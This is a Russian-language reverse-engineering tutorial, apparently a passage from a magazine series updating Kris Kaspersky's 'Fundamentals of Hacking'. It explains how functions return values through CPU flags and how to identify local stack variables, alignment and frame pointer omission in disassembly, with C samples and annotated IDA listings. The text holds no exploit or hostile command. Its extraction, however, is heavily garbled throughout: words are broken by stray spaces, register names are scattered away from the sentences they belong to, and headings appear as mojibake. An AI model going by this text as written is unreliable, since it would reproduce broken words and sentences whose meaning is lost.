MyFunc() Sum() a b
c main() c

printf
Уф! Как все запута но, а ведь это прос тей ший при мер из трех фун кций! Что

же говорить о реаль ной прог рамме, в которой этих фун кций тысячи, при чем
порядок вызова и поведе ние каж дой из них далеко не так оче вид ны! Это еще
раз доказы вает, что зло упот ребле ние гло баль ными перемен ными прив носит
хаос.

Сег мент дан ных:

...

.data:000000014000362C             ; int b
      .data:000000014000362C int b dd ? ; DATA XREF: Sum(void)↑r

.data:000000014000362C             ; MyFunc(void)+E↑w

.data:0000000140003630             ; int a
      .data:0000000140003630 int a dd ? ; DATA XREF: Sum(void)+6↑r

.data:0000000140003630             ; MyFunc(void)+4↑w

.data:0000000140003634             ; int c
      .data:0000000140003634 int c dd ? ; DATA XREF: Sum(void)+10↑w

.data:0000000140003634             ; main+9↑r

...

Су дя по перек рес тным ссыл кам, все три перемен ные — гло баль ные, так как к
каж дой из них име ет непос редс твен ный дос туп более одной фун кции.

ÔËÀÃÈ ÏÐÎÖÅÑÑÎÐÀ

Для боль шинс тва ассем блер ных фун кций харак терно исполь зование регис- 
тра фла гов про цес сора для воз вра щения резуль тата успешнос ти выпол нения
фун кции. По общепри нято му сог лашению уста нов ленный флаг перено са ( )

сви детель ству ет об ошиб ке, вто рое мес то по популяр ности занима ет флаг
нуля ( ), а осталь ные фла ги прак тичес ки вооб ще не исполь зуют ся.

CF

ZF
Ус танов ка фла га перено са выпол няет ся коман дой  или любой матема- 

тичес кой опе раци ей, при водя щей к обра зова нию перено са (нап ример, 

, где  < ), а сброс — коман дой  или соот ветс тву ющей матема тичес- 
кой опе раци ей.

STC
CMP 

a, b a b CLC

Флаг перено са про веря ется обыч но через условные перехо ды 

и , соот ветс твен но исполня ющиеся при наличии и отсутс твии

перено са. Условные перехо ды  и  — их син такси чес кие
синони мы, дающие при ассем бли рова нии иден тичный код.

JC xxx
JNC xxx

JB xxx JNB xxx

#include <stdio.h>

// Функция сообщения об ошибке деления
  void Err() {

 printf("-ERR: DIV by Zero\n");
}

// Вывод результата деления на экран
   void Ok(int a) {

  printf("%x\n", a);
}

Ни же пред став лена ассем блер ная фун кция деления. Делит  на , воз- 

вра щая час тное в , а оста ток — в . При попыт ке деления на ноль уста- 

нав лива ет флаг перено са.

EAX EBX
EAX EDX

   __declspec(naked) int MyFunc() {
  __asm {
      xor edx, edx ; Обнуляем EDX, то есть команда div ожидает 
делимого в EAX
      test ebx, ebx ; Проверка делителя на равенство нулю
     jz _err ; Если делитель равен нулю, перейти к ветке _err
     div ebx ; Делим EAX на EBX (EBX заведомо не равен нулю)
   ret

   ; Эта ветка получает управление при попытке деления на ноль
    _err :

      stc ; Устанавливаем флаг переноса, сигнализируя об ошибке
     ret
 }
}

А вот обер тка для . При нима ет два аргу мен та через стек: делимое
и делитель. Выводит резуль тат деления (или сооб щение об ошиб ке) на экран.

MyFunc

      __declspec(naked) void MyFunc_2(int a, int b) {
  __asm {
        mov eax, [esp + 4] ; Загружаем в EAX содержимое аргумента a
        mov ebx, [esp + 8] ; Загружаем в EBX содержимое аргумента b
     call MyFunc ; Пытаемся делить a/b
     jnc _ok ; Если флаг переноса сброшен, выводим результат
     call Err ; Или сообщение об ошибке
   ret

    _ok :
       push eax ; Передаем результат деления
       call Ok ; Выводим его на экран

        add esp, 4 ; Вычищаем за собой стек
     ret
 }
}

  int main() {
  MyFunc_2(4, 0);
}

Ре зуль тат работы прог раммы:

ÂÛÂÎÄÛ

Это было неп росто — за один раз нас коком охва тить все спо собы, которы ми
выз ванная фун кция может воз вра щать резуль таты. Но мы спра вились! Мы
под робно обсу дили стан дар тные спо собы воз вра та как целочис ленных, так
и вещес твен ных зна чений опе рато ром , уви дели фун дамен таль ную

раз ницу меж ду ста тичес кими и гло баль ными перемен ными. Заг лянув
под капот ком пилято ра, рас смот рели, каким обра зом он воз вра щает
огромные резуль таты в куче. Так же мы обсу дили ассем блер ные inline-фун- 
кции, как с их помощью мож но опти мизи ровать вычис ления и вер нуть
получив ший ся резуль тат. А в самом кон це мы рас смот рели вари ант переда чи
и воз вра та зна чения пос редс твом фла гов цен траль ного про цес сора.

return

В сле дующей статье мы раз берем не менее увле катель ную тему —
как опе раци онная сис тема выделя ет память в момент запус ка прог раммы.
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ВЗЛОМ

Вок руг перемен ных и с их непос редс твен ным учас тием про- 
исхо дят глав ные события в любой прог рамме. Поэто му каж- 
дый кодоко патель дол жен уметь находить перемен ные
и опре делять их тип. Имен но этим мы сегод ня и зай мем ся.

«Тип перемен ной» в рас смат рива емом нами слу чае не име ет отно шения
к типу дан ных, име ется в виду совокуп ность спо собов работы с перемен ными
со сто роны прог раммис та и ком пилято ра, пери од жиз ни перемен ных и мес та
их оби тания. В иде аль ном слу чае для вос ста нов ления алго рит ма иссле- 
дуемой прог раммы неп лохо выяс нить тип дан ных перемен ных, но это уже
воп рос соот ношения вре мени, тру дозат рат и выгоды от получен ной
информа ции.

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

ÈÄÅÍÒÈÔÈÊÀÖÈß ËÎÊÀËÜÍÛÕ ÑÒÅÊÎÂÛÕ ÏÅÐÅÌÅÍÍÛÕ

Ло каль ные перемен ные раз меща ются в сте ке (его так же называ ют авто мати- 
чес кой памятью), а уда ляет их отту да вызыва емая фун кция, ког да она завер- 
шится. Рас смот рим под робнее, как это про исхо дит. Сна чала в стек затяги- 
вают ся аргу мен ты, переда ваемые фун кции (если они есть), а свер ху на них
кла дет ся адрес воз вра та, помеща емый туда инс трук цией , которая
вызыва ет эту фун кцию. Получив управле ние, фун кция откры вает кадр сте ка —
сох раня ет преж нее зна чение регис тра  и уста нав лива ет его рав ным

регис тру  (регистр — ука затель вер шины сте ка). «Выше» (то есть в более
млад ших адре сах)  находит ся сво бод ная область сте ка, «ниже» — слу жеб- 

ные дан ные (сох ранен ный , адрес воз вра та) и аргу мен ты.

CALL

RBP
RSP

RBP
RBP

Сох ранность области сте ка, рас положен ной выше ука зате ля вер шины сте- 
ка (регис тра ), не гаран тирова на от затира ния и иска жения. Ее бес пре- 

пятс твен но могут исполь зовать, нап ример, обра бот чики аппа рат ных пре- 
рыва ний, вызыва емые в неп ред ска зуемом мес те в неп ред ска зуемое вре мя.
Да и исполь зование сте ка самой фун кци ей (для сох ранения регис тров
или переда чи аргу мен тов) при ведет к его иска жению. Какой выход? При нуди- 
тель но перемес тить ука затель вер шины сте ка вверх, тем самым заняв дан ную
область сте ка. Сох ранность памяти, находя щей ся «ниже» , гаран тиру ется

(име ется в виду гаран тиру ется от неп редна мерен ных иска жений). Оче ред ной
вызов инс трук ции  занесет дан ные на вер шину сте ка, не затирая локаль- 

ные перемен ные.

RSP

RSP

PUSH

По окон чании работы фун кция обя зана вер нуть  на преж нее мес то,

ина че инс трук ция  сни мет со сте ка отнюдь не адрес воз вра та, а вооб ще

невесть что (зна чение самой «вер хней» локаль ной перемен ной) и передаст
управле ние «в кос мос»...

RSP
RET

Ме ханизм раз мещения локаль ных перемен ных в сте ке

На левой кар тинке показа но сос тояние сте ка на момент вызова фун кции. Она
откры вает кадр сте ка, сох раняя преж нее зна чение регис тра , и уста нав- 
лива ет его рав ным . На пра вой кар тинке изоб ражено резер вирова ние

 байт сте ковой памяти под локаль ные перемен ные. Резер вирова ние

дос тига ется переме щени ем регис тра  «вверх» — в область млад ших

адре сов. Фак тичес ки локаль ные перемен ные раз меща ются в сте ке так,
как буд то бы они были туда помеще ны коман дой . При завер шении

работы фун кция уве личи вает зна чение регис тра , воз вра щая его на преж- 

нюю позицию и осво бож дая тем самым память, занятую локаль ными
перемен ными. Затем она стя гива ет со сте ка и вос ста нав лива ет зна чение

, зак рывая тем самым кадр сте ка.

RBP
RSP

0x14
RSP

PUSH
RSP

RBP

Àäðåñàöèÿ ëîêàëüíûõ ïåðåìåííûõ

Ад ресация локаль ных перемен ных очень похожа на адре сацию сте ковых
аргу мен тов, толь ко аргу мен ты рас полага ются «ниже» , а локаль ные

перемен ные — «выше». Дру гими сло вами, аргу мен ты име ют положи тель ные
сме щения отно ситель но , а локаль ные перемен ные — отри цатель ные,
поэто му их очень лег ко отли чить друг от дру га. Нап ример,  — аргу- 

мент, а  — локаль ная перемен ная.

RBP

RBP
[RBP+xxx]

[RBP-xxx]
Ре гистр — ука затель кад ра сте ка слу жит как бы барь ером: по одну сто рону

от него аргу мен ты фун кции, по дру гую — локаль ные перемен ные.

Ад ресация локаль ных перемен ных

Те перь понят но, почему при откры тии кад ра сте ка зна чение  копиру ется

в , ина че адре сация локаль ных перемен ных и аргу мен тов зна читель но
усложни лась бы, а раз работ чики ком пилято ров (как это ни стран но) тоже
люди и не хотят без нуж ды осложнять себе жизнь. Впро чем, опти мизи рующие
ком пилято ры уме ют адре совать локаль ные перемен ные и аргу мен ты непос- 
редс твен но через , осво бож дая регистр  для более важ ных целей.

RSP
RBP

RSP RBP

Äåòàëè òåõíè÷åñêîé ðåàëèçàöèè

Су щес тву ет мно жес тво вари антов реали зации выделе ния и осво бож дения
памяти под локаль ные перемен ные. Казалось бы, чем пло хо оче вид ное 

 на вхо де и  на выходе? А вот некото рые ком пилято ры
в стрем лении отли чать ся ото всех осталь ных резер виру ют память не умень- 
шени ем, а уве личе нием ... Да, на отри цатель ное чис ло, которое по умол- 

чанию боль шинс твом дизас сем бле ров отоб ража ется как очень боль шое
положи тель ное. Опти мизи рующие ком пилято ры при отво де неболь шого
количес тва памяти изме няют  на , что на нес коль ко бай тов

короче. Пос леднее соз дает оче вид ные проб лемы иден тифика ции: поп робуй
раз берись, то ли перед нами сох ранение регис тров в сте ке, то ли переда ча
аргу мен тов, то ли резер вирова ние памяти для локаль ных перемен ных (под- 
робнее об этом см. раз дел «Иден тифика ция механиз ма выделе ния памяти»).

SUB 
RSP,xxx ADD RSP, xxx

RSP

SUB PUSH reg

Ал горитм осво бож дения памяти так же неод нозна чен. Помимо уве личе ния
регис тра ука зате ля вер шины сте ка инс трук цией  (или в осо бо

извра щен ных ком пилято рах уве личе ния его на отри цатель ное чис ло), час то
встре чает ся конс трук ция . Мы ведь пом ним, что при откры тии
кад ра сте ка  копиро вал ся в , а сам  в про цес се исполне ния фун- 

кции не изме нял ся. Наконец, память может быть осво бож дена инс трук цией
, вытал кива ющей локаль ные перемен ные одну за дру гой в какой-нибудь

ненуж ный регистр (понят ное дело, такой спо соб оправды вает себя лишь
на неболь шом количес тве локаль ных перемен ных).

ADD RSP, xxx

MOV RSP, RBP
RSP RBP RBP

POP

На ибо лее рас простра нен ные вари анты реали зации резер вирова ния
памяти под локаль ные перемен ные и ее осво бож дение

Èäåíòèôèêàöèÿ ìåõàíèçìà âûäåëåíèÿ ïàìÿòè

Вы деле ние памяти инс трук циями  и  неп ротиво речи во и всег да интер- 

пре тиру ется однознач но. Если же оно выпол няет ся коман дой , а осво- 

бож дение — , эта конс трук ция ста новит ся неот личима от прос того осво- 
бож дения/сох ранения регис тров в сте ке. Ситу ация серь езно осложня ется
тем, что в фун кции при сутс тву ют и нас тоящие коман ды сох ранения регис- 
тров, сли ваясь с коман дами выделе ния памяти. Как узнать, сколь ко бай тов
резер виру ется для локаль ных перемен ных и резер виру ются ли они вооб ще
(может, в фун кции локаль ных перемен ных и нет вов се)?

SUB ADD
PUSH

POP

От ветить на этот воп рос поз воля ет поиск обра щений к ячей кам памяти,
лежащих «выше» регис тра , то есть с отри цатель ными отно ситель ными

сме щени ями. Рас смот рим два при мера.

RBP

В левом из них никако го обра щения к локаль ным перемен ным не про исхо дит
вооб ще, а в пра вом наличес тву ет конс трук ция , копиру- 

ющая зна чение  в локаль ную перемен ную . А раз есть локаль ная
перемен ная, для нее кем-то дол жна быть выделе на память. Пос коль ку инс- 
трук ций  и  в теле фун кций не наб люда ется,

подоз рение пада ет на , так как сох ранен ное содер жимое регис тра

 рас полага ется в сте ке на четыре бай та «выше» . В дан ном слу чае
подоз рева ется лишь одна коман да — , пос коль ку  на роль

«резер ватора» не тянет. Но как быть, если подоз рева емых нес коль ко?

MOV [RBP-4],0x666
0x666 var_4

SUB RSP, xxx ADD RSP, – xxx
PUSH RCX

RCX RBP
PUSH RCX PUSH RBP

Оп ределить количес тво выделен ной памяти мож но по сме щению самой
«высокой» локаль ной перемен ной, которую уда ется обна ружить в теле фун- 
кции. То есть, отыс кав все выраже ния типа , выберем наиболь шее

сме щение «xxx» — в общем слу чае оно рав но количес тву бай тов выделен ной
под локаль ные перемен ные памяти. В час тнос тях же встре чают ся объ- 
явленные, но не исполь зуемые локаль ные перемен ные. Им выделя ется
память (хотя опти мизи рующие ком пилято ры прос то выкиды вают такие
перемен ные за ненадоб ностью), но ни одно го обра щения к ним не про исхо- 
дит, и опи сан ный выше алго ритм под сче та объ ема резер виру емой памяти
дает занижен ный резуль тат. Впро чем, эта ошиб ка никак не ска зыва ется
на резуль татах ана лиза прог раммы.

[RBP-xxx]

Èíèöèàëèçàöèÿ ëîêàëüíûõ ïåðåìåííûõ

Су щес тву ет два спо соба ини циали зации локаль ных перемен ных: прис воение
необ ходимо го зна чения инс трук цией  (нап ример, )

и непос редс твен ное затал кивание зна чения в стек инс трук цией  (нап- 
ример, ). Пос леднее поз воля ет выгод но ком биниро вать выделе- 

ние памяти под локаль ные перемен ные с их ини циали заци ей (разуме ется,
толь ко в том слу чае, если этих перемен ных нем ного).

MOV MOV [RBP-04], 0x666
PUSH

PUSH 0x777

По пуляр ные ком пилято ры в подав ляющем боль шинс тве слу чаев выпол- 
няют опе рацию ини циали зации с помощью , а  более харак терен

для ассем блер ных извра щений, которые встре чают ся, нап ример, в защитах,
име ющих задачу сбить хакеров с тол ку. Ну, если такой при ем и сму тит хакера,
то толь ко начина юще го.

MOV PUSH

Ðàçìåùåíèå ìàññèâîâ è ñòðóêòóð

Мас сивы и струк туры раз меща ются в сте ке пос ледова тель но в смеж ных ячей- 
ках памяти, при этом мень ший индекс мас сива (эле мент струк туры) лежит
по мень шему адре су, но — вни мание — адре сует ся боль шим модулем сме- 
щения отно ситель но регис тра ука зате ля кад ра сте ка. Это не покажет ся уди- 
витель ным, если вспом нить, что локаль ные перемен ные адре суют ся отри- 
цатель ными сме щени ями, сле дова тель но,  > .[RBP-0x4] [RBP-0x10]

Пу тани цу уси лива ет и то обсто ятель ство, что, давая локаль ным перемен- 
ным име на, IDA опус кает знак минус. Поэто му из двух имен, ска жем 
и , по мень шему адре су лежит то, чей индекс боль ше! Если 

и  — это два кон ца мас сива, то с неп ривыч ки воз ника ет неп роиз воль- 

ное желание помес тить  в голову, а  в хвост мас сива, хотя
на самом деле все наобо рот!

var_4
var_10 var_4
var_10

var_4 var_10

Âûðàâíèâàíèå â ñòåêå

В некото рых слу чаях эле мен ты струк туры, мас сива и даже прос то отдель ные
перемен ные тре бует ся рас полагать по крат ным адре сам. Но ведь зна чение
ука зате ля вер шины заранее не опре деле но и неиз вес тно ком пилято ру.
Как же он, не зная фак тичес кого зна чения ука зате ля, смо жет выпол нить
это тре бова ние? Да очень прос то — возь мет и отки нет млад шие биты !RSP

Лег ко доказать, что, если млад ший бит равен нулю, чис ло чет ное. Что бы
быть уве рен ным, что зна чение ука зате ля вер шины сте ка делит ся на два
без остатка, дос таточ но лишь сбро сить его млад ший бит. Сбро сив два бита,
мы получим зна чение, заведо мо крат ное четырем, три — вось ми и так далее.

Сбра сыва ет биты в подав ляющем боль шинс тве слу чаев инс трук ция .

Нап ример,  дела ет  крат ным шес тнад цати. Как было

получе но это зна чение? Перево дим  в дво ичный вид, получа ем
. Видишь четыре нуля на кон це?

Зна чит, четыре млад ших бита любого чис ла будут мас кирова ны и оно раз- 

делит ся без остатка на 2  = 16.

AND
AND RSP, FFFFFFF0 RSP

0xFFFFFFF0
11111111 11111111 11111111 11110000

4

Хо тя с локаль ными перемен ными мы уже неод нократ но встре чались
при изу чении прош лых при меров, не помеша ет сде лать это еще один раз:

local_vars_identified

#include <stdio.h>
#include <stdlib.h>

     int MyFunc(int a, int b) {
    int c; // Локальная переменная типа int
   char x[50]; // Массив (демонстрирует схему размещения массивов в 
памяти)
       c = a + b; // Заносим в c сумму аргументов a и b
     _itoa_s(c, &x[0], sizeof(x), 0x10); // Переводим сумму a и b в 
строку
    printf("%x == %s == ", c, &x[0]); // Выводим строку на экран

  return c;
}

  int main() {
 // Объявляем локальные переменные a и b для того, чтобы
 // продемонстрировать механизм их инициализации компилятором.
 // Такие извращения понадобились для того, чтобы запретить
 // оптимизирующему компилятору помещать локальную переменную
 // в регистр (см. «Идентификация регистровых переменных»)
    int a = 0x666;
    int b = 0x777;
  int c[1];

 // Так как функции printf передается указатель на с,
 // а указатель на регистр быть передан не может,
 // компилятор вынужден оставить переменную в памяти
    c[0] = MyFunc(a, b);
  printf("%x\n", &c[0]);

  return 0;
}

Ре зуль тат выпол нения прог раммы local_vars_identied показан на кар тинке
ниже.

Об рати вни мание, так как третье зна чение в выводе — адрес, при каж -
дом запус ке при ложе ния его зна чение будет менять ся

Ре зуль тат ком пиляции ком пилято ром Microsoft Visual C++ 2019 в режиме
реаль ного вре мени с отклю чен ной опти миза цией дол жен выг лядеть так:

 

 

int MyFunc(int, int) proc near 
Value           = dword ptr -58h 
DstBuf          = byte ptr -50h 
var_18          = qword ptr -18h

Ло каль ные перемен ные рас полага ются по отри цатель ному сме щению отно- 
ситель но , а аргу мен ты фун кции — по положи тель ному. Выше мы

обсужда ли, что боль шинс тво ком пилято ров (в том чис ле Visual C++) опти- 
мизи руют код, осво бож дая регистр , явля ющий ся ука зате лем кад ра сте ка,
что бы он исполнял роль допол нитель ного регис тра обще го наз начения.
При этом фун кцию  начина ет выпол нять  (ука затель на вер шину сте ка).

Заметь так же: чем выше рас положе на перемен ная, тем боль ше модуль ее
сме щения.

RBP

RBP

RBP RSP

    arg_0           = dword ptr 8
    arg_8           = dword ptr 10h

; Инициализируем аргументы в памяти, загружая их значения из 
регистров

                     mov [rsp+arg_8], edx
; О том, что это аргументы, а не нечто иное, говорит их 
положительное смещение относительно регистра RBP

                     mov [rsp+arg_0], ecx
; Уменьшаем значение RSP на 0x78, резервируя 0x78 байт под локальные 
переменные

                     sub rsp, 78h
                     mov rax, cs:__security_cookie
                     xor rax, rsp
                     mov [rsp+78h+var_18], rax

; Вновь копируем аргументы в регистры для удобства последующих 
операций

                     mov eax, [rsp+78h+arg_8]
                     mov ecx, [rsp+78h+arg_0]

; Складываем значения аргументов
                     add ecx, eax
                     mov eax, ecx

А вот и пер вая локаль ная перемен ная! На то, что это имен но она и есть, ука- 
зыва ет ее отри цатель ное сме щение отно ситель но регис тра . Почему

отри цатель ное? А пос мотри, как IDA опре дели ла . По моему лич ному

мне нию, было бы нам ного наг ляднее, если бы отри цатель ные сме щения
локаль ных перемен ных под черки вались более явно.

RBP
Value

Ко пиру ем сум му в перемен ную .Value

      mov [rsp+78h+Value], eax
; Смещение

                     mov eax, 1
                    imul rax, 0

; В RAX загружаем указатель на буфер-приемник
                     lea rax, [rsp+rax+78h+DstBuf]

; Передаем функции _itoa_s значение 0x10 (тип системы счисления)...
                     mov r9d, 10h        ; Radix

; ...затем передаем значение 0x32 — размер буфера-приемника...
                      mov r8d, 32h ; '2'  ; Size

; ...указатель на сам буфер-приемник...
                     mov rdx, rax        ; DstBuf

; ...наконец, само значение для преобразования
                      mov ecx, [rsp+78h+Value] ; Value

Вы зов : перево дим содер жимое  в шес тнад цатерич ную сис- 

тему счис ления, воз вра щаем резуль тат в стро ковой фор ме в буфере-при- 
емни ке.

_itoa_s Value

    call cs:__imp__itoa_s
; Определяем смещение

                     mov eax, 1
                    imul rax, 0

                     lea rax, [rsp+rax+78h+DstBuf]
; Подготавливаем параметры для вызова printf:
; указатель на строку

                     mov r8, rax
; первоначальное значение

                     mov edx, [rsp+78h+Value]
; указатель на форматную строку

                         lea rcx, _Format ; "%x == %s == "
; вызов printf

                   call printf
; Возвращаем в EAX значение локальной переменной Value

                     mov eax, [rsp+78h+Value]
                     mov rcx, [rsp+78h+var_18]
                     xor rcx, rsp        ; StackCookie
                   call __security_check_cookie

; Освобождаем память, занятую локальными переменными
                     add rsp, 78h

               retn
   int MyFunc(int, int) endp

 main            proc near
   b               = dword ptr -28h
   a               = dword ptr -24h
   var_20          = dword ptr -20h
   var_18          = qword ptr -18h

; Резервируем 0x48 байт памяти для локальных переменных
                     sub rsp, 48h
                     mov rax, cs:__security_cookie
                     xor rax, rsp
                     mov [rsp+48h+var_18], rax

; Инициализируем локальную переменную a, присваивая ей значение 0x666
                     mov [rsp+48h+a], 666h

; Инициализируем локальную переменную b, присваивая ей значение 0x777
                     mov [rsp+48h+b], 777h

Продолжение статьи →
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ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ИЩЕМ ПЕРЕМЕННЫЕ РАЗНЫХ ТИПОВ В ЧУЖИХ

ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Смот ри, локаль ные перемен ные рас положе ны в памяти в обратном поряд ке
обра щения к ним! Не объ явле ния, а имен но обра щения! Вооб ще-то порядок
рас положе ния не всег да быва ет имен но таким, это зависит от ком пилято ра,
поэто му полагать ся на порядок никог да не сто ит!

; Копируем в регистр EDX значение переменной b
                      mov edx, [rsp+48h+b] ; b

; Копируем в регистр ECX значение переменной a
                      mov ecx, [rsp+48h+a] ; a

; Вызываем MyFunc
                   call MyFunc(int,int)

; Определяем смещение
                     mov ecx, 4
                    imul rcx, 0

; Присваиваем возвращенное функцией MyFunc значение переменной var_20
                     mov [rsp+rcx+48h+var_20], eax

; Снова определяем смещение
                     mov eax, 4
                    imul rax, 0

                     lea rax, [rsp+rax+48h+var_20]
; Передаем функции printf указатель на локальную переменную var_20...

                     mov rdx, rax
; ...передаем указатель на форматную строку

                      lea rcx, asc_140002260 ; "%x\n"
                   call printf

; Возвращаем ноль
                     xor eax, eax
                     mov rcx, [rsp+48h+var_18]
                     xor rcx, rsp        ; StackCookie
                   call __security_check_cookie

; Освобождаем память, занятую локальными переменными
                     add rsp, 48h

               retn
main            endp

Не очень слож но, прав да? Что ж, тог да рас смот рим резуль тат ком пиляции
это го при мера ком пилято ром Embarcadero C++Builder 10.4 — это будет нем- 
ного труд нее!

   MyFunc(int, int) proc near
   var_50          = dword ptr -50h
   var_4C          = dword ptr -4Ch
   var_48          = qword ptr -48h
   Radix           = dword ptr -40h
   var_C           = dword ptr -0Ch
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открываем кадр стека
                   push rbp

; Резервируем 0x70 байт под локальные переменные
                     sub rsp, 70h

; Используем RBP по его прямому назначению, загружая в него 
указатель на кадр стека

                     lea rbp, [rsp+70h]

Мож но пред положить, что далее про исхо дит под готов ка парамет ров
для вызова фун кции . Треть им сле ва парамет ром переда ем зна чение
сис темы счис ления.

itoa

      mov r8d, 10h
; В RAX загружаем адрес первого элемента массива — строки-приемника

                     lea rax, [rbp+Radix]
; Переданные в регистрах параметры размещаем в переменных в 
оперативной памяти

                     mov [rbp+var_4], ecx
                     mov [rbp+var_8], edx

; Возвращаем значение из памяти в регистр ECX
                     mov ecx, [rbp+var_4]

; Складываем число, находящееся в регистре, со значением из 
переменной в памяти

                     add ecx, [rbp+var_8]
; Сумму копируем в переменную var_C

                     mov [rbp+var_C], ecx
                     mov ecx, [rbp+var_C]

Здесь IDA дела ет невер ное пред положе ние, пос коль ку в  хра нит ся

не осно вание сис темы счис ления, а ука затель на стро ку — буфер при ема
для пре обра зован ного зна чения. Помеща ем этот ука затель в регистр  —

вто рой сле ва параметр.

RAX

RDX

      mov rdx, rax        ; Radix

Вы зов фун кции  с тре мя парамет рами. Обра ти вни мание, что в прог- 

рамме на Visual C++ мы исполь зовали «безопас ную» вер сию дан ной фун- 
кции — , при нима ющую четыре парамет ра. Допол нитель ный

параметр пред став лял собой раз мер при нима юще го буфера.

itoa

_itoa_s

    call itoa

; Подготавливаем параметры для вызова printf
; Третьим параметром выступает указатель строки для вывода

                     lea r8, [rbp+Radix]
; Вторым параметром приходится значение переменной var_C, где 
хранится сумма аргументов

                     mov edx, [rbp+var_C]
; Первый параметр — форматная строка

                     lea rcx, aXS        ; "%x == %s == "
                     mov [rbp+var_48], rax

; Вызываем printf, передавая ей все подготовленные параметры
                   call printf

; Возвращаем сумму аргументов в EDX
                     mov edx, [rbp+var_C]
                     mov [rbp+var_4C], eax
                     mov [rbp+var_50], edx
                     mov eax, [rbp+var_50]

; Освобождаем память, занятую локальными переменными
                     add rsp, 70h

; Выталкиваем RBP из стека, восстанавливая его прежнее значение, + 
закрываем кадр стека

                    pop rbp
               retn

  MyFunc(int, int) endp

 main            proc near
   var_24          = dword ptr -24h
   var_20          = dword ptr -20h
   var_1C          = dword ptr -1Ch
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открываем кадр стека
                   push rbp

; Выделяем 0x50 байт под локальные переменные
                     sub rsp, 50h

; Копируем адрес указателя на вершину стека
                     lea rbp, [rsp+50h]

; Подготовка переменных
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx
                     mov [rbp+var_14], 666h
                     mov [rbp+var_18], 777h

Как вид но, зна чения  и  из перемен ных копиру ются в регис тры

 и  явно для переда чи в качес тве парамет ров сле дующей фун кции.

0x666 0x777
ECX EDX

      mov ecx, [rbp+var_14]
                 mov edx, [rbp+var_18]

; Вызов функции
                   call MyFunc(int,int)

Про еци руем ука затель на перемен ную  в регистр  с надеж дой, что

до вызова фун кции  в эту перемен ную будет помеще но зна чение, пос- 

коль ку до сих пор она не ини циали зиро вана.

var_1C RDX
printf

      lea rdx, [rbp+var_1C]
; Вот и оно, размещение в переменной var_1C результата вызова 
функции MyFunc

                     mov [rbp+var_1C], eax
; Первый слева параметр для printf — форматная строка

                      lea rcx, asc_44E00D ; "%x\n"
                   call printf

                          lea rcx, aPause ; "pause"
                     mov [rbp+var_20], eax

; Вызов функции system с параметром "pause" для задержки приложения 
перед закрытием

                   call system
                     mov [rbp+var_4], 0
                     mov [rbp+var_24], eax
                     mov eax, [rbp+var_4]

; Освобождаем память, выделенную для локальных переменных
                     add rsp, 50h

; Выталкиваем RBP из стека, восстанавливая его прежнее значение, + 
закрываем кадр стека

                    pop rbp
               retn
main            endp

На до приз нать, тран сли рован ный ком пилято ром C++Builder код не силь но
усту пает резуль тату Visual C++. Из гло баль ных отли чий нам уда лось уви деть
исполь зование регис тра  по пря мому наз начению — в качес тве ука зате ля

кад ра сте ка, и на этом ощу тимые раз личия закан чива ются.

RBP

FPO — Frame Pointer Omission

Тра дици онно для адре сации локаль ных перемен ных исполь зует ся регистр
. Учи тывая, что архи тек тура x64 вклю чает в два раза боль ше регис тров

обще го наз начения, чем  (16 про тив 8), казалось бы, одним регис тром

мож но пре неб речь. Меж ду тем вычис ления пос тоян но ста новят ся все слож- 
нее и слож нее, а тре бова ния к ско рос ти выпол нения — все выше и выше.
Поэто му жер тво вать даже одним дра гоцен ным регис тром, «насов сем» отда- 
вая его локаль ным перемен ным, уж очень не хочет ся. Нель зя ли най ти
какое-нибудь дру гое, более эле ган тное решение?

RBP
x86

Хо рошень ко подумав, мы при дем к выводу, что отдель ный регистр
для адре сации локаль ных перемен ных вооб ще не нужен. Мож но (не без ухищ- 
рений, прав да) обой тись одним лишь  — регис тром — ука зате лем сте ка.
Подоб ный трюк мы пов семес тно наб людали в дизас сем блер ных лис тингах
ком пилято ра Visual C++.

RSP

Единс твен ная проб лема — пла вающий кадр сте ка. Пусть пос ле выделе ния
памяти под локаль ные перемен ные  ука зыва ет на вер шину выделен ного

реги она. Тог да перемен ная  ока жет ся по адре су . Но сто ит

занес ти что-нибудь в стек (аргу мент вызыва емой фун кции или регистр
на вре мен ное хра нение), как кадр «упол зет» и  ока жет ся рас положен уже

не по адре су , а по адре су ! Обра ти вни мание на сле- 

дующее изоб ражение.

RSP
buff RSP+0xC

buff
RSP+0xC RSP+0x10

Ад ресация локаль ных перемен ных через регистр RSP при водит к обра -
зова нию пла вающе го кад ра сте ка

Сов ремен ные ком пилято ры уме ют адре совать локаль ные перемен ные через
, динами чес ки отсле живая его зна чение (прав да, при усло вии, что в теле

фун кции нет хит рых ассем блер ных вста вок, изме няющих зна чение  неп- 

ред ска зуемым обра зом).

RSP
RSP

Это чрез вычай но зат рудня ет изу чение кода, пос коль ку теперь невоз- 
можно, ткнув паль цем в про изволь ное мес то лис тинга, опре делить, к какой
имен но локаль ной перемен ной идет обра щение. При ходит ся про чесы вать
всю фун кцию целиком, вни матель но сле дя за зна чени ем  (и неред ко
совер шая при этом гру бые ошиб ки, пус кающие всю работу нас марку).
К счастью, дизас сем блер IDA уме ет обра щать ся с такими перемен ными,
но хакер тем и отли чает ся от прос того смер тно го, что никог да все цело
не полага ется на авто мати ку, а сам стре мит ся понять, как это работа ет!

RSP

Рас смот рим наш ста рый доб рый , откомпи лиро вав его

с клю чом  — опти миза ция по ско рос ти. Тог да ком пилятор будет стре мить- 
ся исполь зовать все регис тры и адре совать локаль ные перемен ные через

, что нам и надо.

passCompare1
/02

RSP

passCompare1 — вклю чение опти миза ции по ско рос ти

Кро хот ную про цеду ру из десят ка строк нес ложно прош тудиро вать вруч ную
